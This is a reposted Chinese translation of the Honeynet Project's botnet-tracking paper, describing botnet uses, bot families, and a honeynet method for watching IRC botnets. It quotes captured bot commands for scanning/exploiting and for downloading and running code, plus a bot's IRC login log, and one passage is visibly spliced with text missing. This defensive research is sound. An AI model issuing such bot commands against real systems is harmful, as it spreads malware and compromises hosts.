大家好,又见面了,我是你们的朋友全栈君。 了解你的敌人:跟踪僵尸网络 利用蜜网对僵尸主机了解更多 蜜网项目组 & 蜜网研究联盟 http://www .honeynet.org 最后修改日期 : 2005 年 3 月 13 日
翻译者artemis:吴智发
密罐是一种用来发现攻击工具,攻击策略与攻击者攻击动机的知名技术。在本文中,我们考虑一种特殊的安全威胁:运行僵尸网络的个人与组织。僵尸网络是一个可以由攻击者远程控制的已被攻陷主机组成的网络。由于它们数量巨大 ( 可以把几万台主机连接在一起 ) ,它们对网络社区构成了极其严重的威胁。在蜜网的帮助下,我们可以观察运行僵尸网络的那些人-对于其他工具来说这是一个很艰难的任务。由于记录数据的丰富性,这使得重构攻击者的行动,使用的工具和详悉地研究他们成为了可能。这里,我们对僵尸网络,普遍的攻击技术以及涉及到的个人做一个更贴近的观察。
我们首先对僵尸网络做一个介绍,并用例子说明它们如何工作。然后详悉的分析三种已用过的最普通的僵尸工具。接下来我们讨论一种观察僵尸网络的技术,这种技术可让我们监视僵尸网络和观察攻击者发起的所有命令。我们将会给出捕获到的普遍行为,以及对过去的几个月内通过监视超过一百个僵尸网络所观测到的量化信息的统计。我们总结了学习到的经验并指出在僵尸网络跟踪领域更深的研究课题,包括一个称之为 mwcollect2 的工具,该工具以自动化形式专门收集恶意软件。
引言
这些年来,家庭 PC 是攻击者想望的攻击目标。这些系统大部分都是运行微软的 Windows 系统,并且一般没有及时地打补丁或者受防火墙的保护,这让攻击者很容易得手。除了这些直接的攻击,针对受害者使用的程序的间接攻击也在稳步上升。间接攻击的例子包括利用微软 IE 漏洞的恶意 HTML 文件攻击和在点对点网络中使用的恶意软件攻击。拥有宽带连接的主机更是攻击者所垂涎的更具攻击价值的目标,随着宽带连接的增加,受攻击的潜在受害者的数目也在增加。破坏者从这种形势受益,并把这种形势作为它们的优势。他们用自动化的工具扫描 Internet 特定网段查找有已知漏洞的脆弱系统。攻击者经常把 B 类网 ( 用 CIDR 符号描述的 16 个地址。译者注 :CIDR 是 Classless Inter-Domain Routing 的缩写,即无类型域间选路 ) 或者更小的网段作为他们的目标。一旦攻击者攻陷一台主机,他们就安装一个所谓的 IRC 僵尸工具 ( 译者注 :IRC-Internet Relay Chat) ,这也叫僵尸( Zombie )或者 Drone 。 IRC 主要被设计用于组 ( 一对多 ) 通讯,在讨论论坛里这种组通讯也叫频道 (channel) ,但也可以用于一对一通讯。更多关于 IRC 的信息可在 Wikipedia 找到。
我们已经识别出很多不同版本的基于 IRC 的僵尸工具,这些僵尸工具有不同程度的复杂性和实现命令,但是所有的僵尸工具在某些方面拥有共性。僵尸工具加入 IRC 服务器上的一个特定的 IRC 频道后就等待更多的命令,这允许攻击者远程控制这个僵尸工具并且把它作为娱乐,也可以获取利益。攻击者甚至走得更远,把不同的僵尸工具接合起来,这样的一个,由许多已被攻陷的,可在一个 IRC 频道被远程控制的主机组成的网络结构,就叫做僵尸网络。由于僵尸工具之间的通讯和僵尸工具的控制器相当臃肿,所以 IRC 不是最好的解决方案,一个简单的通讯协议就已经够用。但是 IRC 提供了几个优点: IRC 服务器可以免费的获得并且容易搭建,许多攻击者有几年的 IRC 通讯经验。
由于他们规模巨大,僵尸网络可以由数千台已被攻陷 主机 组成,僵尸网络构成了严重的威胁 , 分布式拒绝服务攻击就是这样的一个威胁。甚至一个相对较小的只有 1000 台僵尸主机组成的僵尸网络也能造成巨大危害。 1000 台僵尸主机合成后具有比大部分的公司系统的 Internet 连接更大的带宽 ( 平均每个僵尸工具是 128KBit/s , 1000 台 主机 就超过 100MBit/s) 。另外,僵尸工具 IP 的分布性导致入口过滤功能的构建,维护,部署都很困难,应急响应机制将会由于卷入的大量组织而受到束缚。僵尸网络另外的一个用处是偷窃敏感信息或者身份窃取:在数千台 主机 上查找 password.txt 或者窃听网络流量是非常有效的。
445/TCP (Microsoft-DS Service) 端口用于运行 Windows 2000 , XP 或者 2003 主机 的资源共享和其他基于 CIFS 的连接,比如用于连接文件共享服务。 139/TCP (NetBIOS Session Service) 端口用于运行 Windows 9x , ME 和 NT 主机 的资源共享。同样,这个端口用于连接文件共享。 137/UDP (NetBIOS Name Service) 端口用于运行 Windows 的 主机 查找其他 主机 的网络相关特征的信息。这些信息包括系统名字,共享文件名字或者其他信息可以以这种形式获得。 最后, 135/TCP 端口被微软用于实现远程过程调用 (RPC-Remote Procedure Call) 。 RPC 服务允许在一台主机上运行的计算机程序能够调用另外一台主机上的过程,而不需要程序员为实现远程调用而另外显式编码。 这四个端口上的流量占有捕获到的所有流量的 80% 。 更多的使用 Nmap , Xprobe2 和 p 0f 等工具的研究数据显示了运行 Windows XP 和 2000 的 主机 代表了大部分的被影响软件版本。几乎很大部分上述端口上的活动由运行 Windows XP 的系统造成 ( 经常是有 Service Pack1) ,接下来的是运行 Windwos 2000 系统,运行 Windows 2003 或者 Windows 95/98 的系统则较少。
但什么是造成这些恶意数据包的真正原因 ? 哪些人,哪些工具应该为这种情况负责呢 ? 我们是否可以做些事情来阻止他们呢 ? 在本文,我们想要揭示这些攻击流量的幕后并进一步详悉说明原因。我们将展示攻击者如何使用 IRC 僵尸工具控制并构建由被攻陷 主机组成的 网络 ( 僵尸网络 ) 来进一步提高他们的攻击效果。我们使用经典的、经过稍微修改的第二代蜜网技术来获悉一些关键的信息,例如僵尸网络服务器的 IP 地址或者 IRC 频道的名字和密码等。这些信息允许我们连接到僵尸网络并观察攻击者发起的所有命令。有时,我们可以监视他们的通讯并获取更多的攻击动机与社会行为。另外,我们给出在过去的几个月内通过监视超过一百个僵尸网络所获取到的量化信息的一些统计。几个捕获到的攻击者的活动实例将证实了我们的描述。
为了这个研究,我们使用了一个有三台 主机 的蜜网。一台是在德国 ISP T-Online 的网络内的拨入 (dial-in) 主机,一台是德国 ISP NetCologne 网络内的拨入主机,另外一台部署在 RWTH Aachen 大学。大学校园网内的主机运行了一个没有打过补丁的 Windows 2000 并且位于 Honeywall 后面。拨入主机运行一个最近开发的 mwcollectd2 软件,该软件被设计用于捕获恶意软件。我们使用自己开发的叫做 Drone 的 IRC 客户端监视僵尸网络中的活动。在本文的后面有对 mwcollectd2 和 Drone 更详细的讨论。
所有僵尸工具使用一个很小的攻击脚本集合来做进行进一步的扩散。由于僵尸工具不断地尝试攻陷更多的 主机 ,它们在网络内产生很明显的网络流量。正常情况下,僵尸工具试图利用已知的漏洞。除了上面列出的资源共享的端口,僵尸工具经常使用特定漏洞端口,这些端口包括 :
42-WINS ( 主机名字服务器 ) 80-WWW (IIS 4/5 或者 Apache 的漏洞 ) 903-NetDevil 后门 1025- 微软远程过程调用服务和 Windows 信使端口 14 33 -MS SQL Server 2745-Bagle 蠕虫后门 ( 邮件群发蠕虫 ) 3127-MyDoom 蠕虫后门 ( 邮件群发蠕虫 ) 33 06-MySQL UDF 漏洞 3410-Optix Pro 远程访问木马漏洞 (Optix Backdoor) 5000-UPNP( 通用的即插即用 :MS01-059 -通用的即插即用为检测缓冲区会导致系统攻陷 ) 6129-Dameware(Damewae 远程管理- Dameware 迷你远程控制客户端代理服务预验证缓冲区溢出漏洞 )
可以通过查找微软安全公告栏来帮助发现这些探测后面的漏洞,例如 :
MS03-007 Windows 组件为检测的缓冲区会导致服务器被攻陷 MS03-026 RPC 接口的缓冲区越界会导致允许执行代码 MS04-011 微软 Windows 的安全升级 MS04-045 WINS 的漏洞会导致执行远程代码
僵尸网络的用途
” 僵尸网络就好比是 Windows 主机的义务军事服务 “-Stromberg
僵尸网络就是一个工具而不是别的东西,有多少人使用就有多少不同的动机。最普遍的用途是犯罪动机或者破坏目的。基于我们捕获到的数据,使用僵尸网络的可能性可以分为如下几类。由于僵尸网络只是一个工具,很可能还有我们没有罗列到的其他潜在用途。
1.分布式拒绝服务攻击
僵尸网络经常被用于分布式拒绝服务攻击 (DDoS) 。分布式拒绝服务是一种针对计算机系统或者网络的攻击,这种攻击会导致丢失对用户的服务,典型的是通过消耗受害网络的带宽或者过载受害系统的计算资源导致丢失网络连接。另外,如果 DDoS 每秒造成大量的数据包,路径上的资源也会耗尽。到目前为止我们分析的每个僵尸工具包括几种不同的可能性实施针对其他主机的 DDoS 攻击。通常大部分实现的是 TCP SYN 和 UDP 洪水攻击。很明显,脚本小子认为 DDoS 是针对每个社会问题的适当解决办法。
更多的研究表明僵尸网络甚至被用于运行针对竞争公司的商业 DDoS 攻击: Operation Cyberslam 记录了关于 Jay R. Echouafni 和 Joshua Schichtel( 别名 EMP) 的故事。 Echouafni 在 2004 年 8 月 25 号被起诉犯有多项共谋罪和对被保护的计算机造成了破坏。他和 EMP 亲密的一起工作, EMP 运行一个僵尸网络发送大量的电子邮件并且对垃圾邮件黑名单服务器实施了 DDoS 攻击。另外,他们还受雇,对一家竞争对手的网站进行 DDoS 攻击,造成了 Speedera 公司 ( 一个全球的即需计算平台 ) 断网。
注意到 DDoS 攻击并不局限于 Web 服务器,实际上 Internet 上任何可用的服务都可以成为这种攻击的目标。高级协议可用来更有效的提高负载通过使用特性的攻击,比如针对电子公告栏运行能耗尽资源的查询或者在受害网站上运行递归 HTTP 洪水攻击。递归 HTTP 洪水指的是僵尸工具从一个给定的 HTTP 链接开始,然后以递归的方式顺着指定网站上所有的链接访问,这也叫爬虫下载。
2 .垃圾邮件
有些僵尸工具提供在一台已被攻陷的 主机 上打开 SOCKS v4/v5 代理 ( 基于 TCP/IP 的网络应用 (RFC 1928) 的一般代理协议 ) 的可能。在打开 SOCKS 代理后,这台 主机 可被用于例如发送垃圾邮件等恶毒任务。在一个僵尸网络和上千个僵尸工具的帮助下,攻击者可以发送大量的大邮件 ( 垃圾邮件 ) 。有些僵尸工具也执行特殊的功能-收集电子邮件地址。你收到的垃圾邮件经常是来自 ( 或者通过代理 ) 放在家里的老奶奶的老式 Windows 计算机。另外,这当然也可被用于发送诈骗( phishing )邮件,诈骗邮件也是一种特殊的垃圾邮件。
3 .监听网络流量
僵尸工具也可用数据包监听器来观察通过一台已被攻陷 主机 上令人感兴趣的明文数据。监听器大部分被用于提取敏感信息,例如用户名和密码。但监听到的数据也可能包括其他令人感兴趣的信息。如果一台 主机 不止一次被攻陷并且属于不止一个僵尸网络,包监听允许收集另一个僵尸网络的关键信息。所以偷窃另外一个僵尸网络也是可能的。
4 .键盘记录
如果被攻陷 主机 使用加密的通讯通道 ( 比如 HTTPS 或者 POP3S) ,在受害计算机上只监听网络数据包是没用的,因为相关的解密数据包的密钥无法得到。但在这种情况下,大部分的僵尸工具也提供一些特性来帮助攻击者。在键盘记录器的帮助下,对于攻击者来说,提取敏感信息是非常容易的。一个已经实现的过滤机制 ( 例如 ” 我只对靠近关键词汇 ‘paypal.com’ 的键盘顺序感兴趣 ) 更好的帮助偷窃加密数据。如果你想像一下这个键盘记录器并行运行在数千台被攻陷的 主机 上, PayPal 的帐号多快就能获取到。
5 .扩散新的恶意软件
大多数情况下,僵尸网络被用于扩散新的僵尸工具。由于所有的僵尸工具实现机制通过 HTTP 或者 FTP 下载并执行文件,这非常的容易。但使用僵尸网络扩散一个电子邮件病毒也使一个非常好的主意。一个拥有一万台用于作为扩散电子邮件病毒基础主机的僵尸网络使得扩散非常的快并且造成更大的危害。攻击 Internet Security Systems 公司 (ISS) 产品中 ICQ 协议解析实现漏洞的 Witty 蠕虫,由于攻击主机并不运行 ISS 服务,被怀疑开始是由一个僵尸网络发起的。
6.安装广告条和浏览器助手 (Browser Helper Objects)
僵尸网络也可被用于获取金融好处。这可以通过在 主机 上安装一个有广告的虚假网站:网站的操作员和一些主机公司协商给点击广告付费。在僵尸网络的帮助下,点击可以自动化 – 让数千僵尸工具点击弹出广告。如果僵尸工具劫持了攻陷主机的起始页面,当受害者使用浏览器的时候点击就被执行,这过程可以进一步得到提高。
7.Google AdSense 滥用
Google 的 AdSense 程序也可能受到滥用: AsSense 给公司提供 Google 广告,这些公司把广告放在他们的网站上,通过这种方式赚钱。公司通过点击广告赚钱,例如在一个月内点击数达到 1 万次。攻击者通过让僵尸网络以自动化的方式点击这些广告和人工提高点击数可以滥用 AdSense 程序。僵尸网络的这种用途相对少见,但从攻击者的角度来说这不失为一个好主意。
8.攻击 IRC 聊天网络
僵尸网络也可用于攻击 IRC 网络。在攻击者中间流行的攻击方式是所谓的 ” 克隆攻击 ” :在这种攻击中,控制者命令每个僵尸工具连接大量的 IRC 受害网络克隆品。受害者被来自数千个僵尸工具或者数千个频道的请求所淹没。通过这种方式,受到攻击的 IRC 网络可被击垮-类似于 DDoS 攻击。
9.操控在线投票和游戏
在线投票和游戏越来越引起人们的注意,用僵尸网络来操控它们比较简单。由于每个僵尸工具有不同的 IP 地址,每一票与真人投的票有着相同的可信性。在线游戏也可通过同样的方式来操控,目前我们了解到僵尸工具正被用于这些目的,在将来这会变得更重要。
10.大规模身份窃取
上面提高的几个功能的合成经常被用于大规模的身份窃取,这是 Internet 上增长最快的犯罪。假装合法 ( 比如虚假的 PayPal 或者银行电子邮件 ) 的虚假电子邮件 (“Phishing mails”) 请求受害者上网提交他们的私人信息,僵尸工具通过滥塞机制产生并发送这些虚假的电子邮件。这些僵尸工具也可以安装众多的虚假网站假装成 Ebay , PayPal 或者银行来获取个人信息。即使这些虚假的网站被关闭了,马上也会有另一个虚假的网站跑出来。另外,键盘记录和流量监听也可被用于身分窃取。
上面的列表说明了攻击者在僵尸网络的帮助下可以造成巨大的危害或者犯罪活动。这些攻击大部分-特别是 DDoS 攻击-对其他系统造成极大的威胁而且很难阻止。另外,我们相信还有很多用途还没有被发现。因此,我们需要有种办法来学习更多的相关攻击知识,学习攻击者通常如何运作并开发技术来跟他们斗争。蜜网技术可以在三个方面帮助我们 :
1.在蜜网的帮助下,我们可以学习更多的关键信息 ( 举例来说:服务器的 IP 地址或者僵尸工具的昵称 ) ,得以让我们观察僵尸网络。在典型的蜜网网关的帮助下,我们可以收集僵尸工具的二进制文件并以半自动化的方式提取敏感的信息。
2 .我们可以监视攻击者发起的典型指令,有时我们甚至可以捕获他们的通讯,这帮助我们学习更多攻击者的攻击动机与策略。
3 .获取关于僵尸网络的信息的自动化方法和有效跟踪僵尸网络的机制可以帮助我们对付僵尸网络。
下面在介绍和分析最流行的僵尸工具后,我们将提出一个跟踪僵尸网络的技术。
不同类型的僵尸工具
在我们的研究过程中,我们发现有很多种不同类型的僵尸工具。这一节我们提出几种流传比较广和比较出名的僵尸工具,我们介绍每个恶意软件的基本概念并更多的详细描述了它们的一些特征。另外,我们将展示从僵尸工具收集的几种源码样例并列出部分的命令集。
*Agobot/Phatbot/Forbot/XtremBot 这可能是最出名的僵尸工具。目前,防病毒厂商 Spphos 列出了超过 500 种已知的不同版本的 Agobot(Sophos 病毒分析 ) ,这个数目也在稳步增长。僵尸工具本身施用跨平台的 C 写的,源代码以 GPL 的方式发放。 Agobot 由一个名为 Ago 别名叫 Wonk 的德国年轻男子所写,该男子在 4004 年五月由于计算机犯罪被捕。 Agobot 最新可获得的版本用 C 编写,代码清晰并且有很好的抽象设计。僵尸工具以模块化的方式组合,添加命令或者其他漏洞的扫描器非常的简单:只需要扩展 CCommandHandler 或者 CScanner 类并添加自己的功能即可。 Agobot 使用 libcap( 一个包监听库 ) 和 Perl 兼容正则表达式来监听和分类网络流量。 Agobot 可以使用 NTFS Alternate Data Stream (ADS) 并提供像文件和进程隐藏的 Rootkit 能力在攻陷主机隐藏自己。对它进行逆向工程甚至是比较困难,因为它包含了监测调试器 ( 比如说 :Softice 和 O1 1D bg) 和虚拟机 ( 比如 :VMware 和 Virtual PC) 的功能。而且, Agobot 是唯一不使用 IRC 而使用另一个控制协议的僵尸工具。另外一个使用分布式管理的 WASTE 聊天网络的版本分支目前也可获得。 A fork using the distributed organized WASTE chat network is available 。它的 Linux 版本可以监测攻陷主机的 Linux 操作系统发行版本并建立合适的初始化脚本。总而言之: ” 代码读起来像是符咒,就像在与恶魔约会 ”
* SDBot/RBot/UrBot/UrXBot/ … 这个家族的恶意软件目前是最活跃的软件: Sophos 在 “Latest 10 virus alerts” 列出了目前的七个变种。 SDBot 是用很瘪脚的 C 写成,也以 GPL 方式发布。它是 RBot , RxBot , UrBot , UrXBot , JrBot , 。。的祖先。这个僵尸工具的源代码设计得不好,写得也不好。但是,攻击者喜欢它,在很多地方使用它。它提供了和 Agobot 一样的特征,但是命令集没那么大,实现也没那么复杂。
* mIRC-based Bots – GT-Bots 由于基于 mIRC 的僵尸工具有很多不同的版本,使得对它们做个概述显得比较困难,我们把都归为 GT-Bots 。 mIRC 本身是 Windows 下一个很流行的 IRC 客户端。 GT 是全球威胁 (Global Threat) 的缩写,这是所有脚本 mIRC 的通用名字。这些僵尸工具用脚本和其他二进制文件发起一个 mIRC 聊天客户端实例。一个你肯定会看到的二进制可执行代码是用于隐藏自身,使得用户看不到它的 HideWindow 。其他的二进制文件主要是动态链接库 (DLL) ,这些动态链接库链接到 mIRC ,增加 mIRC 脚本能执行的一些新功能。经常有 ” 。 mrc” 的文件名后缀的 mIRC 脚本用于控制僵尸工具。它们可以访问动态链接库里面的扫描器,进行进一步的扩散。 GT-Bot 通过攻击远程计算机上的漏洞并上载它们 ( 文件大小一般大于 1 兆 ) 自己到攻陷 主机 上来进行扩散。
除了这三种我们每天几乎都能发现的僵尸工具外,还有些我们比较少见的僵尸工具。有些僵尸工具有很好的特性并值得在此提及一下 :
* DSNX Bots The Dataspy Network X (DSNX) bot 用 C 编写并有一个很方便的插件接口。攻击者可以很容易的编写作为插件以扩展特性的扫描器和扩散器。同样,它也以 GPL 的方式发行。这个僵尸工具有一个主要的缺点:默认版本并不附带扩散器。但可以获取插件来克服这个问题。甚至是提供像 DDoS 攻击,端口扫描接口或者隐式 HTTP 服务器的插件都可得得到。
* Q8 Bots Q8 僵尸工具是非常小的僵尸工具,仅由 926 行 C 代码构成。它有一个值得提的地方:它是替 Unix/Linux 系统编写的。它实现了僵尸工具的所有通常的功能:通过 HTTP 下载实现动态更新,可进行 DDoS 攻击 ( 比如 SYN 洪水和 UDP 洪水攻击 ) ,执行任意的命令等等。在我们捕获到的这个版本里面,没有扩散器。但其他存在的版本可能包含了扩散器。
* kaiten 这个僵尸工具也没有扩散器,也是替 Unix/Linux 系统编写的。弱用户验证使得运行这个僵尸工具的僵尸网络很容易被劫持。这个僵尸工具本身只包含一个文件。因为通过 wget 很容易获得它的源代码,并在一个有漏洞的 主机 上用脚本编译。 Kaiten 提供了一个很容易使用的远程 Shell ,所以可以通过 IRC 监查更多的漏洞获得特权。
* 基于 Perl 的僵尸工具 有很多很简单的基于编程语言 Perl 的不同版本的僵尸工具。这些僵尸工具非常的小,大多数情况下只包含几百行的代码。它们运行在基于 Unix 的系统上并只提供一个基本的命令集 ( 一般大部分是 DDoS 攻击 ) 。
僵尸工具干了些什么以及如何工作 ?
在介绍了几个不同类型的僵尸工具后,我们现在想对这些僵尸工具正常情况下都做了些什么以及如何工作做一个更深入的观察。本节将详细地解释僵尸工具如何扩散以及它们的主人如何控制它们。
攻击成功后,僵尸工具使用 TFTP , FTP , HTTP 或者 CSend(IRC 用来给其他用户发送文件的一个扩展,可比于 DCC) 把自己传输到被攻陷地主机上,然后启动这个文件,尝试连接指定的主 IRC 服务器。通常提供一个动态的 DNS 域名 ( 比如从 www.dyndns.org) 而不是指定的 IP 地址,所以僵尸工具可以很容易的重新投放。如果服务器是本身或者在一个内部子网内的话,有些僵尸工具甚至把自己删除掉,因为这种状况意味着不正常。僵尸工具使用特定的拟好的昵称如 USA|743634 或者 [UrX]-98439854 来加入服务器的频道,有时频道会使用密码以保证陌生人不能进入。在成功攻击后的可观察到的一个典型的通讯通常如下:
<- :irc1.XXXXXX.XXX NOTICE AUTH :*** Looking up your hostname… <- :irc1.XXXXXX.XXX NOTICE AUTH :*** Found your hostname -> PASS secretserverpass -> NICK [urX]-700159 -> USER mltfvt 0 0 :mltfvt <- :irc1.XXXXXX.XXX NOTICE [urX]-700159 :*** If you are having problems connecting due to ping timeouts, please type /quote pong ED322722 or /raw pong ED322722 now. <- PING :ED322722 -> PONG :ED322722 <- :irc1.XXXXXX.XXX 001 [urX]-700159 :Welcome to the irc1.XXXXXX.XXX IRC Network [urX]-700159!mltfvt@nicetry <- :irc1.XXXXXX.XXX 002 [urX]-700159 :Your host is irc1.XXXXXX.XXX, running version Unreal3.2-beta19 <- :irc1.XXXXXX.XXX 003 [urX]-700159 :This server was created Sun Feb 8 18:58:31 2004 <- :irc1.XXXXXX.XXX 004 [urX]-700159 irc1.XXXXXX.XXX Unreal3.2-beta19 iowghraAsORTVSxNCWqBzvdHtGp lvhopsmntikrRcaqOALQbSeKVfMGCuzN
然后,服务器接收僵尸工具作为一个客户端,并发送 PL_ISUPPORT , RPL_MOTDSTART , RPL_MOTD , RPL_ENDOFMOTD 或者 ERR_NOMOTD 给僵尸工具。以 RPL_ 开始的回复包含了送给客户端的信息,例如 RPL_ISUPPORT 告诉客户端服务器能理解哪些功能, RPL_MOTD 意味着 the Message Of The Day(MoTD) 。如果没有 MoTD 可用的话,则 ERR_NOMOTD 是一个错误消息。在下面列出的清单中,回复以颜色高亮度显示:
<- :irc1.XXXXXX.XXX 005 [urX]-700159 MAP KNOCK SAFELIST HCN MAXCHANNELS=25 MAXBANS=60 NICKLEN=30 TOPICLEN=307 KICKLEN=307 MAXTARGETS=20 AWAYLEN=307 :are supported by this server <- :irc1.XXXXXX.XXX 005 [urX]-700159 WALLCHOPS WATCH=128 SILENCE=5 MODES=12 CHANTYPES=# PREFIX=(qaohv)~&@% CHANMODES=be,kfL,l,psmntirRcOAQKVGCuzNSM NETWORK=irc1.XXXXXX.XXX CASEMAPPING=ascii :are supported by this server <- :irc1.XXXXXX.XXX 375 [urX]-700159 :- irc1.XXXXXX.XXX Message of the Day – <- :irc1.XXXXXX.XXX 372 [urX]-700159 :- 20/12/2004 7:45 <- :irc1.XXXXXX.XXX 372 [urX]-700159 :- – . <- :irc1.XXXXXX.XXX 372 [urX]-700159 :- – . <- :irc1.XXXXXX.XXX 372 [urX]-700159 :- – ___ . <- :irc1.XXXXXX.XXX 372 [urX]-700159 :- – . _.–“~~ __”-. <- :irc1.XXXXXX.XXX 372 [urX]-700159 :- – ,-” .-~ ~”-/ . <- :irc1.XXXXXX.XXX 372 [urX]-700159 :- – . .^ / ( ) . <- :irc1.XXXXXX.XXX 372 [urX]-700159 :- – {_.—._ / ~ <- :irc1.XXXXXX.XXX 372 [urX]-700159 :- – / . Y . <- :irc1.XXXXXX.XXX 372 [urX]-700159 :- – / /_j <- :irc1.XXXXXX.XXX 372 [urX]-700159 :- – . Y ( –l__ <- :irc1.XXXXXX.XXX 372 [urX]-700159 :- – | “-. . <- :irc1.XXXXXX.XXX 372 [urX]-700159 :- – | (___ . | .)~-.__/ <- :irc1.XXXXXX.XXX 372 [urX]-700159 :- – . . <- :irc1.XXXXXX.XXX 372 [urX]-700159 :- – l _) <- :irc1.XXXXXX.XXX 372 [urX]-700159 :- – . / “l <- :irc1.XXXXXX.XXX 372 [urX]-700159 :- – / – / ^. <- :irc1.XXXXXX.XXX 372 [urX]-700159 :- – . ^. “-. -Row . <- :irc1.XXXXXX.XXX 372 [urX]-700159 :- – “-._ ~-.___, <- :irc1.XXXXXX.XXX 372 [urX]-700159 :- – . “–.._____.^ <- :irc1.XXXXXX.XXX 372 [urX]-700159 :- – . . <- :irc1.XXXXXX.XXX 372 [urX]-700159 :- – ->Moon<- <- :irc1.XXXXXX.XXX 376 [urX]-700159 :End of /MOTD command. <- :[urX]-700159 MODE [urX]-700159 : i 一旦收到 RPL_ENDOFMOTD 或者 ERR_NOMOTD ,僵尸工具将尝试用已给的密码加入服务器的频道
-> JOIN #foobar channelpassword -> MODE [urX]-700159 x
僵尸工具接收到频道的主题并把主题解释为命令执行
<- :irc1.XXXXXX.XXX 332 [urX]-700159 #foobar : .advscan lsass 200 5 0 -r -s <- :[urX]-700159!mltfvt@nicetry JOIN :#foobar <- :irc1.XXXXXX.XXX MODE #foobar smntuk channelpassword
大部分僵尸网络使用类似如下的命令 :
“.advscan lsass 200 5 0 -r -s” “.http.update http://www.unrealircd.com/ ) 守护进程是跨平台的,因而可以很容易的用以连接运行 Windows 和 Linux 的 主机 。 IRC 服务端软件经常被剪裁以适应僵尸网络所有者的需要。 我们注意到的普通的修改是去掉频道内的 “JOIN” , “PART” , “QUIT” 信息以避免不需要的网络流量。而且 “LUSERS”( 关于连接客户端数目的信息 ) 和 “RPL_ISUPPORT” 被去掉以隐藏标识和僵尸网络的大小。我们最近获得一个 Win32 的二进制文件,该二进制文件是已经经过剪裁和优化的大量修改过的 Unreal IRC 守护进程的拷贝。文件名字说明了它可以连接 8 万个僵尸工具 : cac8629c7139b484e4a19a53caaa6be0 UNREAL.3.2-m0dded-LyR.rar 9dbaf01b5305f08bd8c22c67e4b4f729 Unreal-80k[MAX]users.rar de4c1fbc4975b61ebeb0db78d1fba84f unreal-modded-80k-users-1.rar 由于我们无法运行一个 8 万用户的僵尸网络并且我们的团队也缺少 8 万个开发人员,我们不可能校验这个信息。但这样大的僵尸网络可能被计算机犯罪分子实施 ” 专业化 ” 的攻击。由于这会占用大量的带宽并且做大规模的身分窃取,这种类型的网络可以导致严重的危害。 ConferenceRoom ( http://www.webmaster.com/ )是一个商业化的 IRC 服务端解决方案,但运行僵尸网络的人典型的是使用激活成功教程过的版本, ConferenceRoom 提供了数千个并发连接的可能,并带有呢称和频道注册,好友列表和服务器对服务器的连接。 令人赶到惊奇的是:我们已经发现了有人把微软的一个聊天服务器作为僵尸网络主机,而且好像也在稳定运行 既然运行僵尸网络的攻击者经常有同样的攻击动机 (DDoS 攻击或者其他犯罪 ) ,每个僵尸工具家族有它们自己的命令集,但实现同样的目的。 Agobot 真的很好:只需要检索源代码并提取 RegisterCommand ,就能得到描述所有特征的带有完整描述的命令列表。由于没有清晰的设计,整个 SD 僵尸工具家族很难分析。在同样的僵尸工具的各个分支中命令集一般是不同的,因为对实现命令的自动化分析基本上是不可能的。
如果你对学习更多不同的僵尸工具命令有兴趣,我们有一个更加详细的关于僵尸网络命令概述。如果你对学习更多关于僵尸工具源代码有兴趣,你在僵尸网络单独的源代码页面能发现更多的细节。
如何跟踪僵尸网络
在这节中,开始介绍我们在蜜罐的帮助下跟踪、观察僵尸网络的方法。跟踪僵尸网络是一个很清晰的多步操作:第一步需要收集关于存在的僵尸网络的数据,这可以通过分析捕获的恶意软件来获得。接下来将以一个客户端混入僵尸网络,并收集更多的信息。本节的第一部分,介绍我们在蜜罐的帮助下提取所需要信息的技术。然后描述我们观察僵尸网络的途径。
Getting information with the help of honeynets
如上面所述,我们需要一些来自僵尸网络的敏感信息让我们把一个虚假的僵尸工具混入僵尸网络,需要的信息包括:
IRC 服务器的 DNS/IP 地址和端口号 (可选)连接 IRC 服务器的密码 僵尸工具的昵称和标识的结构 欲加入的频道和(可选)频道密码 包含一些装有 Windows 的蜜罐和 snort_inline 的第二代蜜网可以来收集这些信息,我们部署了一个如下图所示有少许修改的典型的第二代蜜网。
安装跟踪僵尸网络
Windows 版本的蜜罐是一个没打补丁的 Windows 2000 或者 Windows XP 。因为这个系统非常容易导致被攻击,成功的攻击只需要花几分钟。这个系统位于德国 ISP 的拨入网络内。蜜罐的平均预期寿命少于 10 分钟。在这个短暂的时间后,蜜罐经常被自动化恶意软件所攻陷。最小的攻陷时间只需要几分种:一旦我们把网线插入,一个 SDBot 通过攻击 TCP 端口 135 来攻陷 主机 并把自己安装在 主机 上。
如上一节所述,一旦僵尸工具成功攻陷了一台蜜罐,它就尝试连接 IRC 服务器以获取更多的命令。这时是 Honeywall 发挥作用的时候了:由于安装在 Honeywall 上的 数据捕获设备,使得控制外出网络连接成为可能。我们使用 snort_inline 做数据控制和代替外出的可疑连接。一个连接,如果它包含典型的 IRC 消息,象“ 33 2 ” ,“ TOPIC ”,“ PRIVMSG ”或者“ NOTICE ”时,这个连接就是可疑的。因为我们可以禁止僵尸工具接受来自服务器频道的有效命令。因而这对别人没有危害-我们在我们的蜜网里捕获到一个僵尸工具。另一方面的作用,我们可以从我们在那点上及时捕获的数据提取所有需要的关于僵尸网络的敏感信息: Honeywall 的数据捕获能力可让我们确定僵尸工具想要连接的 DNS/IP 地址和相应的端口号。另外,我们可以从数据捕获日志提取昵称和标识结构。服务器的密码、频道名称和频道密码也可以通过这种方式获得。我们已经收集了所有需要的信息,蜜罐可以获取更多的恶意软件。既然我们现在不关心已捕获到的恶意软件,我们每 24 个小时就重建 Honeypots 以保我们每天有“干净的”系统。德国蜜网项目组正致力于另一个项目-获取连入的恶意软件并分析载荷-更多关于这些的信息在后面的一节内谈论。
观察僵尸网络
跟踪僵尸网络的第二步现在开始了,我们要重新连接到僵尸网络。由于我们有所有需要的数据,这并不困难。第一个办法,你可以安装一个 irssi (基于控制台的 IRC 客户端)或者其他的 IRC 客户端并尝试连接到僵尸网络。如果网络相对较小(少于 50 个客户端),由于你的客户端不能回答有效的命令,你的客户端有可能被发现。这种情况下,僵尸网络的操作员想要禁止和(或者) DDoS 攻击可疑的客户端。为了避免被检测到,你可以尝试隐藏自己。取消掉你的客户端的所有的自动回应触发命令会有点帮助:如果你的客户端用 “irssi 0 。 89 running on openbsd i368” 回应 “CTCP VERSION” 消息,请求客户端-客户端协议( Client-To-Client Protocol )命令的攻击者就会产生怀疑。如果你没有被僵尸网络的操作员发现的话,你就可以记录所有的命令并观察所发生的一切。
